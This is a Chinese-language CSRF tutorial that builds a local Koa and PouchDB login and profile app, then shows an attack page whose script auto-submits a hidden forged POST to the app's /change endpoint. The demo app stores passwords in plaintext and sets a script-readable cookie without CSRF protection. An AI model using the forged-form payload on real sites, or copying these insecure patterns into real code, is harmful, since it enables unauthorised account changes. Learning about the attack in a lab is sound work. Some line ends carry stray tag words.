CSRF攻擊涉及用戶受害者,受信任的網站和惡意網站。當受害者與受信任的站點擁有一個活躍的會話同時,若是訪問惡意網站,惡意網站會注入一個HTTP請求到爲受信任的站點,從而破話用戶的信息。javascript
CSRF 攻擊老是涉及到三個角色:信賴的網站(Collabtive)、受害者的 session 或 cookie 以及一個惡意網站。受害者會同時訪問惡意網站與受信任的站點會話的時候。攻擊包括一系列步驟,以下:css
惡意網站能夠創建HTTP GET或POST請求到受信任的站點。一些HTML標籤,好比img iframe,框架,形式沒有限制的URL,能夠在他們的使用屬性中。html
我使用的是koa框架做爲後端框架搭建的服務器,順便也算是學習一下koa框架,以前沒有學過,因爲是初學,搭建過程有點漫長前端
話很少說上代碼:java
// app.js
const Koa = require('koa');
const app = new Koa();
const server = require('koa-static');
const router = require('koa-router')();
const PouchDB = require('pouchdb');
const db = new PouchDB('http://localhost:5984/csrf');
app.use(async (ctx, next) => {
console.log(`Process ${ctx.request.method} ${ctx.request.url}...`);
await next();
});
// add url-route:
router.post('/login', async (ctx, next) => {
let postData = await parsePostData( ctx );
try {
let response = await db.get(`id_${postData.name}`);
let exp = new Date();
ctx.cookies.set(
'id',
`id_${postData.name}`,
{
domain: 'localhost', // 寫cookie所在的域名
path: '/userInfo.html', // 寫cookie所在的路徑
maxAge: 24*60*60*1000, // cookie有效時長
expires: exp.setTime(exp.getTime() + 24*60*60*1000), // cookie失效時間
httpOnly: false, // 是否只用於http請求中獲取
overwrite: false // 是否容許重寫
}
)
if(response.password === postData.password) ctx.redirect('userInfo.html')
} catch (err) {
ctx.body = "<p>登陸失敗,點擊<a href='index.html'>這裏</a>返回</p>";
}
});
router.post('/regist', async (ctx, next) => {
let postData = await parsePostData( ctx );
postData._id = `id_${postData.name}`;
try {
let response = await db.put(postData);
ctx.body = "<p>註冊成功,點擊<a href='index.html'>這裏</a>返回至登陸界面</p>";
} catch (err) {
ctx.body = "<p>用戶名已存在,點擊<a href='index.html'>這裏</a>返回</p>";
}
});
router.post('/getUserInfo', async (ctx, next) => {
let postData = await parsePostDataFromAjax( ctx );
let _id = {};
_id[postData.split(':')[0]] = postData.split(':')[1];
try {
let doc = await db.get(_id.id);
ctx.body = doc;
} catch (err) {
ctx.body = '發生錯誤';
}
});
router.post('/change', async (ctx, next) => {
let postData = await parsePostData( ctx );
console.log(postData);
try {
let doc = await db.get(postData.id);
let response = await db.put({
_id: doc._id,
_rev: doc._rev,
name: postData.name,
password: doc.password,
sex: postData.sex,
desc: postData.desc
});
ctx.body = "<p>修改爲功,點擊<a href='index.html'>這裏</a>返回至登陸界面</p>";
} catch (err) {
console.log(err);
}
});
app.use(router.routes());
app.use(server(__dirname + '/'));
app.listen(3001);
/** * * 對於POST請求的處理,koa2沒有封裝獲取參數的方法, * 須要經過解析上下文context中的原生node.js請求 * 對象req,將POST表單數據解析成query string(例 * 如:a=1&b=2&c=3),再將query string 解析成 * JSON格式(例如:{"a":"1", "b":"2", "c":"3"}) */
// 解析上下文裏node原生請求的POST參數,這個是處理表單form傳入參數
function parsePostData( ctx ) {
return new Promise((resolve, reject) => {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end",function(){
let parseData = parseQueryStr( postdata )
resolve( parseData )
})
} catch ( err ) {
reject(err)
}
})
}
// 解析上下文裏node原生請求的POST參數,這個是處理Ajax傳入參數
function parsePostDataFromAjax( ctx ) {
return new Promise((resolve, reject) => {
try {
let postdata = "";
ctx.req.addListener('data', (data) => {
postdata += data
})
ctx.req.addListener("end",function(){
resolve( postdata )
})
} catch ( err ) {
reject(err)
}
})
}
// 將POST請求參數字符串解析成JSON
function parseQueryStr( queryStr ) {
let queryData = {}
let queryStrList = queryStr.split('&');
for ( let [ index, queryStr ] of queryStrList.entries() ) {
let itemList = queryStr.split('=')
queryData[ itemList[0] ] = decodeURIComponent(itemList[1])
}
return queryData
}
複製代碼
就這一個文件,裏面包含了不少東西node
koa-static
是koa的一箇中間件,用於獲取靜態文件的koa-router
是koa的一箇中間件,用於路由系統pouchDB
是我使用的couchDB
的配套使用的框架我使用的是couchDB數據庫,具體怎麼使用看這裏,用法很簡單,他的界面是一個網頁,我這裏貼一張圖 jquery
前端頁面總共有三個,分別是index.html
,regist.html
,userInfo.html
,其做用分別是登陸,註冊,展現/修改用戶信息,我這裏沒有使用css樣式。。。有點醜web
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登陸</title>
</head>
<body>
<h2>登陸</h2>
<form id="login" action="/login" method="post">
姓名:<input tyep="text" name="name" />
密碼:<input type="password" name="password" />
</form>
<button id="button">登陸</button>
<a href="./regist.html">註冊</a>
</body>
<script> var button = document.getElementById('button'); var form = document.getElementById('login'); button.onclick = function() { form.submit(); } </script>
</html>
複製代碼
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>註冊</title>
</head>
<body>
<h2>註冊</h2>
<form id="regist" action="/regist" method="post">
姓名:<input tyep="text" name="name" /><br>
密碼:<input type="password" name="password" /><br>
性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">註冊</button>
<a href="./index.html">登陸</a>
</body>
<script> var button = document.getElementById('button'); var form = document.getElementById('regist'); button.onclick = function() { form.submit(); } </script>
</html>
複製代碼
這個頁面我使用了ajax,因此引入了jQueryajax
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<script src="./jquery-3.2.1.min.js"></script>
<title>用戶信息</title>
</head>
<body>
<div>
<h1>用戶信息</h1>
<div>姓名:<span id="name"></span></div>
<div>性別:<span id="sex"></span></div>
<div>描述:<span id="desc"></span></div>
<h1>修改信息</h1>
<form id="change" action="/change" method="post">
<input id="id" name="id" hidden value=""/>
姓名:<input tyep="text" name="name" /><br>
性別:<input type="radio" name="sex" value="male" />男<input type="radio" name="sex" value="female" />女<br>
描述:<textarea name="desc" id="" cols="30" rows="10"></textarea>
</form>
<button id="button">修改</button>
</div>
</body>
<script> window.onload = function() { var id = document.cookie.split(";")[0].split("=").join(':'); $.ajax({ url: 'http://localhost:3001/getUserInfo', data: id, method: 'post', }).then(function(res) { var doc = res; $("#name").text(doc.name); $("#sex").text(doc.sex); $("#desc").text(doc.desc); $("#id").val(doc._id); }) var form = document.getElementById("change"); var button = document.getElementById("button"); button.onclick = function() { form.submit(); } } </script>
</html>
複製代碼
最後放上package.json
數據庫
{
"name": "csrf",
"version": "1.0.0",
"description": "",
"main": "app.js",
"scripts": {
"start": "node app.js"
},
"author": "",
"license": "ISC",
"devDependencies": {
"koa": "^2.2.0",
"koa-router": "^7.2.1",
"koa-static": "^3.0.0",
"pouchdb": "^6.2.0"
}
}
複製代碼
命令行執行
npm install
npm start
複製代碼
終於到了關鍵,其實也就那麼一剎那,很快咱們的步驟以下:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>攻擊頁面</title>
</head>
<body>
<h1>這是一個攻擊頁面</h1>
</body>
<script> function hack() { var fields; fields += "<input type='hidden' name='id' value='id_1111'/>"; fields += "<input type='hidden' name='name' value='testName'>"; fields += "<input type='hidden' name='sex' value='testSex'>"; fields += "<input type='hidden' name='desc' value='testDesc'>"; var url = "http://localhost:3001/change"; var p = document.createElement("form"); p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; document.body.appendChild(p); p.submit(); } window.onload = function() { hack(); } </script>
</html>
```
複製代碼
注意事項